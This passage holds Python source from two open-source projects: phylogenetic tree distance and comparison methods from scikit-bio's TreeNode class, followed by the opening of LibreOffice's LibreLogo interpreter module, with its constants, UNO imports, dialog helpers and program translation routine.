tip names that it is between as a tuple""" distmtx = self.tip_tip_distances() idx_max = divmod(distmtx.data.argmax(), distmtx.shape[1]) max_pair = (distmtx.ids[idx_max[0]], distmtx.ids[idx_max[1]]) return distmtx[idx_max], max_pair def get_max_distance(self): """Returns the max tip tip distance between any pair of tips Returns ------- float The distance between the two most distant tips in the tree tuple of TreeNode The two most distant tips in the tree Raises ------ NoLengthError A NoLengthError will be thrown if a node without length is encountered See Also -------- distance tip_tip_distances compare_tip_distances Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a:1,b:2)c:3,(d:4,e:5)f:6)root;")) >>> dist, tips = tree.get_max_distance() >>> dist 16.0 >>> [n.name for n in tips] ['b', 'e'] """ if not hasattr(self, 'MaxDistTips'): # _set_max_distance will throw a TreeError if a node with a single # child is encountered try: self._set_max_distance() except TreeError: # return self._get_max_distance_singledesc() longest = 0.0 tips = [None, None] for n in self.non_tips(include_self=True): tip_a, tip_b = n.MaxDistTips dist = (tip_a[0] + tip_b[0]) if dist > longest: longest = dist tips = [tip_a[1], tip_b[1]] return longest, tips def tip_tip_distances(self, endpoints=None): """Returns distance matrix between pairs of tips, and a tip order. By default, all pairwise distances are calculated in the tree. If `endpoints` are specified, then only the distances between those tips are computed. Parameters ---------- endpoints : list of TreeNode or str, or None A list of TreeNode objects or names of TreeNode objects Returns ------- DistanceMatrix The distance matrix Raises ------ ValueError If any of the specified `endpoints` are not tips NoLengthError If a node without length is encountered See Also -------- distance compare_tip_distances Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a:1,b:2)c:3,(d:4,e:5)f:6)root;")) >>> mat = tree.tip_tip_distances() >>> print(mat) 4x4 distance matrix IDs: 'a', 'b', 'd', 'e' Data: [[ 0. 3. 14. 15.] [ 3. 0. 15. 16.] [ 14. 15. 0. 9.] [ 15. 16. 9. 0.]] """ all_tips = list(self.tips()) if endpoints is None: tip_order = all_tips else: tip_order = [self.find(n) for n in endpoints] for n in tip_order: if not n.is_tip(): raise ValueError("Node with name '%s' is not a tip." % n.name) # linearize all tips in postorder # .__start, .__stop compose the slice in tip_order. for i, node in enumerate(all_tips): node.__start, node.__stop = i, i + 1 # the result map provides index in the result matrix result_map = {n.__start: i for i, n in enumerate(tip_order)} num_all_tips = len(all_tips) # total number of tips num_tips = len(tip_order) # total number of tips in result result = np.zeros((num_tips, num_tips), float) # tip by tip matrix distances = np.zeros((num_all_tips), float) # dist from tip to tip def update_result(): # set tip_tip distance between tips of different child for child1, child2 in combinations(node.children, 2): for tip1 in range(child1.__start, child1.__stop): if tip1 not in result_map: continue t1idx = result_map[tip1] for tip2 in range(child2.__start, child2.__stop): if tip2 not in result_map: continue t2idx = result_map[tip2] result[t1idx, t2idx] = distances[ tip1] + distances[tip2] for node in self.postorder(): if not node.children: continue # subtree with solved child wedges # can possibly use np.zeros starts, stops = [], [] # to calc ._start and ._stop for curr node for child in node.children: if child.length is None: raise NoLengthError("Node with name '%s' doesn't have a " "length." % child.name) distances[child.__start:child.__stop] += child.length starts.append(child.__start) stops.append(child.__stop) node.__start, node.__stop = min(starts), max(stops) if len(node.children) > 1: update_result() return DistanceMatrix(result + result.T, [n.name for n in tip_order]) def compare_rfd(self, other, proportion=False): """Calculates the Robinson and Foulds symmetric difference Parameters ---------- other : TreeNode A tree to compare against proportion : bool Return a proportional difference Returns ------- float The distance between the trees Notes ----- Implementation based off of code by Julia Goodrich. The original description of the algorithm can be found in [1]_. Raises ------ ValueError If the tip names between `self` and `other` are equal. See Also -------- compare_subsets compare_tip_distances References ---------- .. [1] Comparison of phylogenetic trees. Robinson and Foulds. Mathematical Biosciences. 1981. 53:131-141 Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree1 = TreeNode.read(StringIO("((a,b),(c,d));")) >>> tree2 = TreeNode.read(StringIO("(((a,b),c),d);")) >>> tree1.compare_rfd(tree2) 2.0 """ t1names = {n.name for n in self.tips()} t2names = {n.name for n in other.tips()} if t1names != t2names: if t1names < t2names: tree1 = self tree2 = other.shear(t1names) else: tree1 = self.shear(t2names) tree2 = other else: tree1 = self tree2 = other tree1_sets = tree1.subsets() tree2_sets = tree2.subsets() not_in_both = tree1_sets.symmetric_difference(tree2_sets) dist = float(len(not_in_both)) if proportion: total_subsets = len(tree1_sets) + len(tree2_sets) dist = dist / total_subsets return dist def compare_subsets(self, other, exclude_absent_taxa=False): """Returns fraction of overlapping subsets where self and other differ. Names present in only one of the two trees will count as mismatches, if you don't want this behavior, strip out the non-matching tips first. Parameters ---------- other : TreeNode The tree to compare exclude_absent_taxa : bool Strip out names that don't occur in both trees Returns ------- float The fraction of overlapping subsets that differ between the trees See Also -------- compare_rfd compare_tip_distances subsets Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tree1 = TreeNode.read(StringIO("((a,b),(c,d));")) >>> tree2 = TreeNode.read(StringIO("(((a,b),c),d);")) >>> tree1.compare_subsets(tree2) 0.5 """ self_sets, other_sets = self.subsets(), other.subsets() if exclude_absent_taxa: in_both = self.subset() & other.subset() self_sets = (i & in_both for i in self_sets) self_sets = frozenset({i for i in self_sets if len(i) > 1}) other_sets = (i & in_both for i in other_sets) other_sets = frozenset({i for i in other_sets if len(i) > 1}) total_subsets = len(self_sets) + len(other_sets) intersection_length = len(self_sets & other_sets) if not total_subsets: # no common subsets after filtering, so max dist return 1 return 1 - (2 * intersection_length / float(total_subsets)) def compare_tip_distances(self, other, sample=None, dist_f=distance_from_r, shuffle_f=np.random.shuffle): """Compares self to other using tip-to-tip distance matrices. Value returned is `dist_f(m1, m2)` for the two matrices. Default is to use the Pearson correlation coefficient, with +1 giving a distance of 0 and -1 giving a distance of +1 (the maximum possible value). Depending on the application, you might instead want to use distance_from_r_squared, which counts correlations of both +1 and -1 as identical (0 distance). Note: automatically strips out the names that don't match (this is necessary for this method because the distance between non-matching names and matching names is undefined in the tree where they don't match, and because we need to reorder the names in the two trees to match up the distance matrices). Parameters ---------- other : TreeNode The tree to compare sample : int or None Randomly subsample the tips in common between the trees to compare. This is useful when comparing very large trees. dist_f : function The distance function used to compare two the tip-tip distance matrices shuffle_f : function The shuffling function used if `sample` is not None Returns ------- float The distance between the trees Raises ------ ValueError A ValueError is raised if there does not exist common tips between the trees See Also -------- compare_subsets compare_rfd Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> # note, only three common taxa between the trees >>> tree1 = TreeNode.read(StringIO("((a:1,b:1):2,(c:0.5,X:0.7):3);")) >>> tree2 = TreeNode.read(StringIO("(((a:1,b:1,Y:1):2,c:3):1,Z:4);")) >>> dist = tree1.compare_tip_distances(tree2) >>> print("%.9f" % dist) 0.000133446 """ self_names = {i.name: i for i in self.tips()} other_names = {i.name: i for i in other.tips()} common_names = frozenset(self_names) & frozenset(other_names) common_names = list(common_names) if not common_names: raise ValueError("No tip names in common between the two trees.") if len(common_names) <= 2: return 1 # the two trees must match by definition in this case if sample is not None: shuffle_f(common_names) common_names = common_names[:sample] self_nodes = [self_names[k] for k in common_names] other_nodes = [other_names[k] for k in common_names] self_matrix = self.tip_tip_distances(endpoints=self_nodes) other_matrix = other.tip_tip_distances(endpoints=other_nodes) return dist_f(self_matrix, other_matrix) def index_tree(self): """Index a tree for rapid lookups within a tree array Indexes nodes in-place as `n._leaf_index`. Returns ------- dict A mapping {node_id: TreeNode} list of tuple of (int, int, int) The first index in each tuple is the corresponding node_id. The second index is the left most leaf index. The third index is the right most leaf index """ self.assign_ids() id_index = {} child_index = [] for n in self.postorder(): for c in n.children: id_index[c.id] = c if c: # c has children itself, so need to add to result child_index.append((c.id, c.children[0].id, c.children[-1].id)) # handle root, which should be t itself id_index[self.id] = self # only want to add to the child_index if self has children... if self.children: child_index.append((self.id, self.children[0].id, self.children[-1].id)) return id_index, child_index def assign_ids(self): """Assign topologically stable unique ids to self Following the call, all nodes in the tree will have their id attribute set """ curr_index = 0 for n in self.postorder(): for c in n.children: c.id = curr_index curr_index += 1 self.id = curr_index def descending_branch_length(self, tip_subset=None): """Find total descending branch length from self or subset of self tips Parameters ---------- tip_subset : Iterable, or None If None, the total descending branch length for all tips in the tree will be returned. If a list of tips is provided then only the total descending branch length associated with those tips will be returned. Returns ------- float The total descending branch length for the specified set of tips. Raises ------ ValueError A ValueError is raised if the list of tips supplied to tip_subset contains internal nodes or non-tips. Notes ----- This function replicates cogent's totalDescendingBranch Length method and extends that method to allow the calculation of total descending branch length of a subset of the tips if requested. The postorder guarantees that the function will always be able to add the descending branch length if the node is not a tip. Nodes with no length will have their length set to 0. The root length (if it exists) is ignored. Examples -------- >>> from six import StringIO >>> from skbio import TreeNode >>> tr = TreeNode.read(StringIO("(((A:.1,B:1.2)C:.6,(D:.9,E:.6)F:.9)G" ... ":2.4,(H:.4,I:.5)J:1.3)K;")) >>> tdbl = tr.descending_branch_length() >>> sdbl = tr.descending_branch_length(['A','E']) >>> print(tdbl, sdbl) 8.9 2.2 """ self.assign_ids() if tip_subset is not None: all_tips = self.subset() if not set(tip_subset).issubset(all_tips): raise ValueError('tip_subset contains ids that arent tip ' 'names.') lca = self.lowest_common_ancestor(tip_subset) ancestors = {} for tip in tip_subset: curr = self.find(tip) while curr is not lca: ancestors[curr.id] = curr.length if curr.length is not \ None else 0.0 curr = curr.parent return sum(ancestors.values()) else: return sum(n.length for n in self.postorder(include_self=True) if n.length is not None) def cache_attr(self, func, cache_attrname, cache_type=list): """Cache attributes on internal nodes of the tree Parameters ---------- func : function func will be provided the node currently being evaluated and must return a list of item (or items) to cache from that node or an empty list. cache_attrname : str Name of the attribute to decorate on containing the cached values cache_type : {set, frozenset, list} The type of the cache Notes ----- This method is particularly useful if you need to frequently look up attributes that would normally require a traversal of the tree. WARNING: any cache created by this method will be invalidated if the topology of the tree changes (e.g., if `TreeNode.invalidate_caches` is called). Raises ------ TypeError If an cache_type that is not a `set` or a `list` is specified. Examples -------- Cache the tip names of the tree on its internal nodes >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a,b,(c,d)e)f,(g,h)i)root;")) >>> f = lambda n: [n.name] if n.is_tip() else [] >>> tree.cache_attr(f, 'tip_names') >>> for n in tree.traverse(include_self=True): ... print("Node name: %s, cache: %r" % (n.name, n.tip_names)) Node name: root, cache: ['a', 'b', 'c', 'd', 'g', 'h'] Node name: f, cache: ['a', 'b', 'c', 'd'] Node name: a, cache: ['a'] Node name: b, cache: ['b'] Node name: e, cache: ['c', 'd'] Node name: c, cache: ['c'] Node name: d, cache: ['d'] Node name: i, cache: ['g', 'h'] Node name: g, cache: ['g'] Node name: h, cache: ['h'] """ if cache_type in [set, frozenset]: def reduce_f(a, b): return a | b elif cache_type == list: def reduce_f(a, b): return a + b else: raise TypeError("Only list, set and frozenset are supported!") for node in self.postorder(include_self=True): node._registered_caches.add(cache_attrname) cached = [getattr(c, cache_attrname) for c in node.children] cached.append(cache_type(func(node))) setattr(node, cache_attrname, reduce(reduce_f, cached)) def shuffle(self, k=None, names=None, shuffle_f=np.random.shuffle, n=1): """Yield trees with shuffled tip names Parameters ---------- k : int, optional The number of tips to shuffle. If k is not `None`, k tips are randomly selected, and only those names will be shuffled. names : list, optional The specific tip names to shuffle. k and names cannot be specified at the same time. shuffle_f : func Shuffle method, this function must accept a list and modify inplace. n : int, optional The number of iterations to perform. Value must be > 0 and `np.inf` can be specified for an infinite number of iterations. Notes ----- Tip names are shuffled inplace. If neither `k` nor `names` are provided, all tips are shuffled. Yields ------ TreeNode Tree with shuffled tip names. Raises ------ ValueError If `k` is < 2 If `n` is < 1 ValueError If both `k` and `names` are specified MissingNodeError If `names` is specified but one of the names cannot be found Examples -------- Alternate the names on two of the tips, 'a', and 'b', and do this 5 times. >>> from six import StringIO >>> from skbio import TreeNode >>> tree = TreeNode.read(StringIO("((a,b),(c,d));")) >>> rev = lambda items: items.reverse() >>> shuffler = tree.shuffle(names=['a', 'b'], shuffle_f=rev, n=5) >>> for shuffled_tree in shuffler: ... print(shuffled_tree) ((b,a),(c,d)); <BLANKLINE> ((a,b),(c,d)); <BLANKLINE> ((b,a),(c,d)); <BLANKLINE> ((a,b),(c,d)); <BLANKLINE> ((b,a),(c,d)); <BLANKLINE> """ if k is not None and k < 2: raise ValueError("k must be None or >= 2") if k is not None and names is not None: raise ValueError("n and names cannot be specified at the sametime") if n < 1: raise ValueError("n must be > 0") self.assign_ids() if names is None: all_tips = list(self.tips()) if n is None: n = len(all_tips) shuffle_f(all_tips) names = [tip.name for tip in all_tips[:k]] nodes = [self.find(name) for name in names] # Since the names are being shuffled, the association between ID and # name is no longer reliable self.invalidate_caches() counter = 0 while counter < n: shuffle_f(names) for node, name in zip(nodes, names): node.name = name yield self counter += 1
codeparrot/github-code-clean
# -*- tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- # # This file is part of the LibreOffice project. # # This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. # from __future__ import unicode_literals import sys, os, uno, unohelper import re, random, traceback, itertools import threading, time as __time__ try: unicode next = lambda l: l.next() # python 2 except: unicode, long = str, int # support python 3 urebootstrap = os.environ["URE_BOOTSTRAP"] if "vnd.sun.star.pathname" in urebootstrap: __lngpath__ = re.sub(r"^vnd.sun.star.pathname:(.*)program(/|\\)fundamental([.]ini|rc)$", "\\1", urebootstrap) else: __lngpath__ = unohelper.fileUrlToSystemPath(re.sub("program/(fundamental.ini|fundamentalrc)$", "", urebootstrap)) __lngpath__ = __lngpath__ + "share/Scripts/python/LibreLogo/".replace("/", os.sep) __translang__ = "am|ca|cs|de|dk|el|en|eo|es|et|fr|hu|it|ja|nl|no|pl|pt|ru|se|sl" # FIXME supported languages for language guessing, expand this list, according to the localizations __lng__ = {} __docs__ = {} __prevcode__ = None __prevlang__ = None __prevcompiledcode__ = None __thread__ = None __lock__ = threading.Lock() __halt__ = False __compiled__ = "" __group__ = 0 __groupstack__ = [] __grouplefthang__ = 0 __comp__ = {} __strings__ = [] __colors__ = {} __COLORS__ = ['BLACK', 0x000000], ['SILVER', 0xc0c0c0], ['GRAY', 0x808080], \ ['WHITE', 0xffffff], ['MAROON', 0x800000], ['RED', 0xff0000], \ ['PURPLE', 0x800080], ['FUCHSIA', 0xff00ff], ['GREEN', 0x008000], \ ['LIME', 0x00ff00], ['OLIVE', 0x808000], ['YELLOW', 0xffff00], \ ['NAVY', 0x000080], ['BLUE', 0x0000ff], ['TEAL', 0x008080], \ ['AQUA', 0x00ffff], ['PINK', 0xffc0cb], ['TOMATO', 0xff6347], \ ['ORANGE', 0xffa500], ['GOLD', 0xffd700], ['VIOLET', 0x9400d3], \ ['SKYBLUE', 0x87ceeb], ['CHOCOLATE', 0xd2691e], ['BROWN', 0xa52a2a], \ ['INVISIBLE', 0xffffffff] __NORMCOLORS__ = [[[255, 255, 0], 0, -11, 1, -11], [[255, 128, 0], 1, 116, 1, -33], [[255, 0, 0], 1, 95, 2, 42], [[255, 0, 255], 2, -213, 0, -106], [[0, 0, 255], 0, 148, 1, 127], [[0, 255, 255], 1, -128, 2, -63], [[0, 255, 0], 2, 192, 0, 244]] __STRCONST__ = [i[0] for i in __COLORS__] + ['NONE', 'BEVEL', 'MITER', 'ROUNDED', 'SOLID', 'DASH', 'DOTTED', 'BOLD', 'ITALIC', 'UPRIGHT', 'NORMAL', "HOUR", "PT", "INCH", "MM", "CM"] __SLEEP_SLICE_IN_MILLISECONDS__ = 500 __PT_TO_TWIP__ = 20 __MM_TO_PT__ = 1/(25.4/72) __MM10_TO_TWIP__ = 1/(2540.0/72/20) # 0.01 mm to twentieth point __FILLCOLOR__ = 0x8000cc00 __LINEWIDTH__ = 0.5 * __PT_TO_TWIP__ __ENCODED_STRING__ = "_s_%s___" __ENCODED_COMMENT__ = "_c_%s___" __DECODE_STRING_REGEX__ = "_s_([0-9]+)___" __DECODE_COMMENT_REGEX__ = "_c_([0-9]+)___" __LINEBREAK__ = "#_@L_i_N_e@_#" __TURTLE__ = "turtle" __ACTUAL__ = "actual" __BASEFONTFAMILY__ = "Linux Biolinum G" __LineStyle_DOTTED__ = 2 class __Doc__: def __init__(self, doc): self.doc = doc try: self.drawpage = doc.DrawPage # Writer except: self.drawpage = doc.DrawPages.getByIndex(0) # Draw, Impress self.shapecache = {} self.shapecount = itertools.count() self.time = 0 self.zoomvalue = 0 self.initialize() def initialize(self): self.pen = 1 self.pencolor = 0 self.pensize = __LINEWIDTH__ self.linestyle = __LineStyle_SOLID__ self.linejoint = __ROUNDED__ self.linecap = __Cap_NONE__ self.oldlc = 0 self.oldlw = 0 self.oldls = __LineStyle_SOLID__ self.oldlj = __ROUNDED__ self.continuous = True self.areacolor = __FILLCOLOR__ self.t10y = int((__FILLCOLOR__ >> 24) / (255.0/100)) self.hatch = None self.textcolor = 0 self.fontfamily = __BASEFONTFAMILY__ self.fontheight = 12 self.fontweight = 100 self.fontstyle = 0 from math import pi, sin, cos, asin, sqrt, log10 from com.sun.star.awt import Point as __Point__ from com.sun.star.awt import Gradient as __Gradient__ from com.sun.star.awt.GradientStyle import LINEAR as __GradientStyle_LINEAR__ from com.sun.star.drawing import LineDash as __LineDash__ from com.sun.star.drawing import Hatch as __Hatch__ from com.sun.star.drawing import PolyPolygonBezierCoords as __Bezier__ from com.sun.star.text.TextContentAnchorType import AT_PAGE as __AT_PAGE__ from com.sun.star.text.WrapTextMode import THROUGHT as __THROUGHT__ from com.sun.star.drawing.LineCap import BUTT as __Cap_NONE__ from com.sun.star.drawing.LineCap import ROUND as __Cap_ROUND__ from com.sun.star.drawing.LineCap import SQUARE as __Cap_SQUARE__ from com.sun.star.drawing.LineJoint import NONE as __Joint_NONE__ from com.sun.star.drawing.LineJoint import BEVEL as __BEVEL__ from com.sun.star.drawing.LineJoint import MITER as __MITER__ from com.sun.star.drawing.LineJoint import ROUND as __ROUNDED__ from com.sun.star.drawing.FillStyle import NONE as __FillStyle_NONE__ from com.sun.star.drawing.FillStyle import GRADIENT as __FillStyle_GRADIENT__ from com.sun.star.drawing.LineStyle import NONE as __LineStyle_NONE__ from com.sun.star.drawing.LineStyle import SOLID as __LineStyle_SOLID__ from com.sun.star.drawing.LineStyle import DASH as __LineStyle_DASHED__ from com.sun.star.drawing.DashStyle import RECT as __DashStyle_RECT__ from com.sun.star.drawing.DashStyle import ROUND as __DashStyle_ROUND__ from com.sun.star.drawing.DashStyle import ROUNDRELATIVE as __DashStyle_ROUNDRELATIVE__ from com.sun.star.drawing.CircleKind import FULL as __FULL__ from com.sun.star.drawing.CircleKind import SECTION as __SECTION__ from com.sun.star.drawing.CircleKind import CUT as __CUT__ from com.sun.star.drawing.CircleKind import ARC as __ARC__ from com.sun.star.awt.FontSlant import NONE as __Slant_NONE__ from com.sun.star.awt.FontSlant import ITALIC as __Slant_ITALIC__ from com.sun.star.awt import Size as __Size__ from com.sun.star.awt import WindowDescriptor as __WinDesc__ from com.sun.star.awt.WindowClass import MODALTOP as __MODALTOP__ from com.sun.star.awt.VclWindowPeerAttribute import OK as __OK__ from com.sun.star.awt.VclWindowPeerAttribute import OK_CANCEL as __OK_CANCEL__ from com.sun.star.awt.VclWindowPeerAttribute import YES_NO_CANCEL as __YES_NO_CANCEL__ # OK_CANCEL, YES_NO, RETRY_CANCEL, DEF_OK, DEF_CANCEL, DEF_RETRY, DEF_YES, DEF_NO from com.sun.star.awt.PushButtonType import OK as __Button_OK__ from com.sun.star.awt.PushButtonType import CANCEL as __Button_CANCEL__ from com.sun.star.util.MeasureUnit import APPFONT as __APPFONT__ from com.sun.star.beans import PropertyValue as __property__ from com.sun.star.lang import Locale def __getprop__(name, value): p, p.Name, p.Value = __property__(), name, value return p __uilocale__ = uno.getComponentContext().getValueByName("/singletons/com.sun.star.configuration.theDefaultProvider").\ createInstanceWithArguments("com.sun.star.configuration.ConfigurationAccess",\ (__getprop__("nodepath", "/org.openoffice.Setup/L10N"),)).getByName("ooLocale") + '-' # handle missing Country of locale 'eo' def __l12n__(lng): try: return __lng__[lng] except: try: __lng__[lng] = dict([[i.decode("unicode-escape").split("=")[0].strip(), i.decode("unicode-escape").split("=")[1].strip().strip("|")] for i in open(__lngpath__ + "LibreLogo_" + lng + ".properties", 'rb').readlines() if b"=" in i]) return __lng__[lng] except Exception: __trace__() return None # dot for dotted line (implemented as an array of dot-headed arrows, because PostScript dot isn't supported by Writer) def __gendots__(n): return [__Point__(round(sin(360.0/n * i * pi/180.0) * 600), round(cos(360.0/n * i * pi/180) * 600)) for i in range(n)] __bezierdot__ = __Bezier__() __bezierdot__.Coordinates = (tuple(__gendots__(32)),) __bezierdot__.Flags = ((0,) * 32,) # turtle shape __TURTLESHAPE__ = [tuple([(__Point__(-120, 130), __Point__(-245, 347), __Point__(-291, 176), ), (__Point__(0, -500), __Point__(126, -375), __Point__(0, -250), __Point__(-124, -375), ), (__Point__(295, 170), __Point__(124, 124), __Point__(250, 340), ), (__Point__(466, -204), __Point__(224, -269), __Point__(71, -180), __Point__(313, -116), ), (__Point__(-75, -175), __Point__(-292, -300), __Point__(-417, -83), ), (__Point__(250, 0), __Point__(0, -250), __Point__(-250, 0), __Point__(0, 250), )] + [(i,) for i in __gendots__(32)] + # single points for wider selection [(__Point__(0, 0),)]), # last point for position handling ((__Point__(0, 0),),)] # hidden turtle (single point to draw at the left border of the page area) def __getdocument__(): global __docs__, _ doc = XSCRIPTCONTEXT.getDocument() try: _ = __docs__[doc.RuntimeUID] except: _ = __Doc__(doc) __docs__[doc.RuntimeUID] = _ # input function, result: input string or 0 def Input(s): global __halt__ try: ctx = uno.getComponentContext() smgr = ctx.ServiceManager text = "" # dialog d = smgr.createInstanceWithContext("com.sun.star.awt.UnoControlDialogModel", ctx) ps = _.doc.CurrentController.Frame.ContainerWindow.getPosSize() lo = _.doc.CurrentController.Frame.ContainerWindow.convertSizeToLogic(__Size__(ps.Width, ps.Height), __APPFONT__) d.PositionX, d.PositionY, d.Width, d.Height = lo.Width/2 - 75, lo.Height/2 - 25, 150, 50 # label l = d.createInstance("com.sun.star.awt.UnoControlFixedTextModel" ) if type(s) == list: text = s[1] s = s[0] l.PositionX, l.PositionY, l.Width, l.Height, l.Name, l.TabIndex, l.Label = 5, 4, 140, 14, "l1", 2, s # textbox or combobox e = d.createInstance("com.sun.star.awt.UnoControlEditModel") e.PositionX, e.PositionY, e.Width, e.Height, e.Name, e.TabIndex = 5, 14, 140, 12, "e1", 0 # buttons b = d.createInstance( "com.sun.star.awt.UnoControlButtonModel" ) b.PositionX, b.PositionY, b.Width, b.Height, b.Name, b.TabIndex, b.PushButtonType, b.DefaultButton = 55, 32, 45, 14, "b1", 1, __Button_OK__, True b2 = d.createInstance( "com.sun.star.awt.UnoControlButtonModel" ) b2.PositionX, b2.PositionY, b2.Width, b2.Height, b2.Name, b2.TabIndex, b2.PushButtonType = 100, 32, 45, 14, "b2", 1, __Button_CANCEL__ # insert the control models into the dialog model d.insertByName( "l1", l) d.insertByName( "b1", b) d.insertByName( "b2", b2) d.insertByName( "e1", e) # create the dialog control and set the model controlContainer = smgr.createInstanceWithContext("com.sun.star.awt.UnoControlDialog", ctx) controlContainer.setModel(d) # create a peer toolkit = smgr.createInstanceWithContext("com.sun.star.awt.ExtToolkit", ctx) controlContainer.setVisible(False) controlContainer.createPeer(toolkit, None) # execute it inputtext = controlContainer.execute() if inputtext: inputtext = e.Text else: __halt__ = True # dispose the dialog controlContainer.dispose() return inputtext except Exception: __trace__() def __string__(s, decimal = None): # convert decimal sign, localized BOOL and SET if not decimal: decimal = _.decimal if decimal == ',' and type(s) == float: return str(s).replace(".", ",") if type(s) in [list, tuple, dict, set]: __strings__ = [] s = re.sub("(?u)(['\"])(([^'\"]|\\['\"])*)(?<!\\\\)\\1", __encodestring__, str(s)) # XXX fix double '\'\"' if decimal == ',': s = s.replace(".", ",") return re.sub(__DECODE_STRING_REGEX__, __decodestring__, \ s.replace('set', __locname__('SET')).replace('True', __locname__('TRUE')).replace('False', __locname__('FALSE'))) if type(s) in [str, unicode]: return s elif type(s) == bool: return __locname__(str(s).upper()) return str(s) def Print(s): global __halt__ s = __string__(s, _.decimal) if not MessageBox(_.doc.CurrentController.Frame.ContainerWindow, s[:500] + s[500:5000].replace('\n', ' '), "", "messbox", __OK_CANCEL__): __halt__ = True def MessageBox(parent, message, title, msgtype = "messbox", buttons = __OK__): msgtypes = ("messbox", "infobox", "errorbox", "warningbox", "querybox") if not (msgtype in msgtypes): msgtype = "messbox" d = __WinDesc__() d.Type = __MODALTOP__ d.WindowServiceName = msgtype d.ParentIndex = -1 d.Parent = parent d.WindowAttributes = buttons tk = parent.getToolkit() msgbox = tk.createWindow(d) msgbox.MessageText = message if title: msgbox.CaptionText = title return msgbox.execute() def Random(r): try: return r * random.random() except: return list(r)[int(random.random() * len(r))] def to_ascii(s): return s.encode("unicode-escape").decode("utf-8").replace("\\u", "__u__").replace(r"\x", "__x__") def to_unicode(s): return bytes(s.replace("__x__", r"\x").replace("__u__", "\\u"), "ascii").decode("unicode-escape") def __trace__(): if 'PYUNO_LOGLEVEL' in os.environ: print(traceback.format_exc()) def __locname__(name, l = -1): if l == -1: l = _.lng for i in __l12n__(l): if i == name.upper(): return __l12n__(l)[i].split("|")[0] # return with the first localized name return to_unicode(name) def __getcursor__(fulltext): realselection = False try: text = _.doc.getCurrentController().getViewCursor().getText().createTextCursor() # copy selection (also in frames) text.gotoRange(_.doc.getCurrentController().getViewCursor(), False) if fulltext: 1/len(text.getString()) # exception, if zero length realselection = True except: text = _.doc.getText().createTextCursorByRange(_.doc.getText().getStart()) text.gotoEnd(True) return text, realselection def __translate__(arg = None): global _ __getdocument__() selection = __getcursor__(True)[0] __initialize__() __setlang__() # detect language text = selection.getString() # remove comments and strings text = re.sub(r"[ ]*;[^\n]*", "", re.sub(r"['„“‘«»「][^\n'”“‘’«»」]*['”“‘’«»」]", "", re.sub(r"^[ \t]*[;#][^\n]*", "", text))) text = " ".join(set(re.findall("(?u)\w+", text)) - set(re.findall("(?u)\w*\d+\w*", text))).lower() # only words ctx = uno.getComponentContext() guess = ctx.ServiceManager.createInstanceWithContext("com.sun.star.linguistic2.LanguageGuessing", ctx) guess.disableLanguages(guess.getEnabledLanguages()) guess.enableLanguages(tuple([Locale(i, "", "") for i in __translang__.split("|")])) guess = guess.guessPrimaryLanguage(text, 0, len(text)) try: l = {'cs': 'cs_CZ', 'el': 'el_GR', 'en': 'en_US', 'pt': 'pt_BR'}[guess.Language] except: l = guess.Language + '_' + guess.Language.upper() lang = __l12n__(l) if not lang: lang = __l12n__(guess.Language) if not lang: lang = __l12n__(_.lng) if not lang: lang = __l12n__("en_US") lq = '\'' + lang['LEFTSTRING'].replace("|", "") rq = '\'' + lang['RIGHTSTRING'].replace("|", "") __strings__ = [] text = re.sub(r"^(([ \t]*[;#][^\n]*))", __encodecomment__, text) text = re.sub("(?u)([%s])([^\n%s]*)(?<!\\\\)[%s]" % (lq, rq, rq), __encodestring__, selection.getString()) text = re.sub('(?u)(?<![0-9])(")(~?\w*)', __encodestring__, text) text = re.sub(r";(([^\n]*))", __encodecomment__, text) # translate the program to the language of the document FIXME space/tab exception = ['DECIMAL'] in1 = lang['IN'].upper() in2 = __l12n__(_.lng)['IN'].split("|")[0].upper() if in1[0] == '-' and in2[0] != '-': # "for x y-in" -> "for x in y" exception += ['IN'] text = re.sub(r"(?ui)\b((?:%s) +:?\w+) +([^\n]+)(?:%s) +(?=[[] |[[]\n)" % (lang['FOR'], in1), "\\1 %s \\2 " % in2, text) text = re.sub(r"(?ui)(:?\b\w+|[[][^[\n]*])\b(?:%s)\b" % in1, "%s \\1" % in2, text) elif in1[0] != '-' and in2[0] == '-': # "for x in y" -> "for x y-in" exception += ['IN'] text = re.sub(r"(?ui)(?<=\n)((?:%s)\b +:?\w+) +(?:%s) +([^\n]+?) +(?=[[] |[[]\n)" % (lang['FOR'], in1), "\\1 \\2%s " % in2, text) text = re.sub(r"(?ui)(?<!:)\b(?:%s) +(:?\b\w+|[[][^[\n]*])\b" % in1, "\\1%s" % in2, text) for i in set(lang) - set(exception): text = re.sub(r'(?ui)(?<!:)\b(%s)\b' % lang[i], __l12n__(_.lng)[i].split("|")[0].upper(), text) text = re.sub(r"(?<=\d)[%s](?=\d)" % lang['DECIMAL'], __l12n__(_.lng)['DECIMAL'], text) # decode strings and comments quoted = u"(?ui)(?<=%s)(%%s)(?=%s)" % (__l12n__(_.lng)['LEFTSTRING'][0], __l12n__(_.lng)['RIGHTSTRING'][0]) text = re.sub(__DECODE_STRING_REGEX__, __decodestring2__, text) for i in __STRCONST__: text = re.sub(quoted % lang[i], __l12n__(_.lng)[i].split("|")[0].upper(), text) text = re.sub(__DECODE_COMMENT_REGEX__, __decodecomment__, text) if _.doc.getText().compareRegionStarts(selection.getStart(), _.doc.getText().getStart()) == 0: pagebreak = True selection.setString("\n" + text.lstrip("\n")) else: pagebreak = False selection.setString(text) # convert to paragraphs __dispatcher__(".uno:ExecuteSearch", (__getprop__("SearchItem.SearchString", r"\n"), __getprop__("SearchItem.ReplaceString", r"\n"), \ __getprop__("Quiet", True), __getprop__("SearchItem.Command", 3), __getprop__("SearchItem.StyleFamily", 2), \ __getprop__("SearchItem.AlgorithmType", 1), __getprop__("SearchItem.RowDirection", 1), __getprop__("SearchItem.SearchFlags", 65536))) # set 2-page layout if pagebreak: selection.getStart().BreakType = 4 __dispatcher__(".uno:ZoomPage") class LogoProgram(threading.Thread): def __init__(self, code): self.code = code threading.Thread.__init__(self) def run(self): global __thread__ try: exec(self.code) if _.origcursor[0] and _.origcursor[1]: 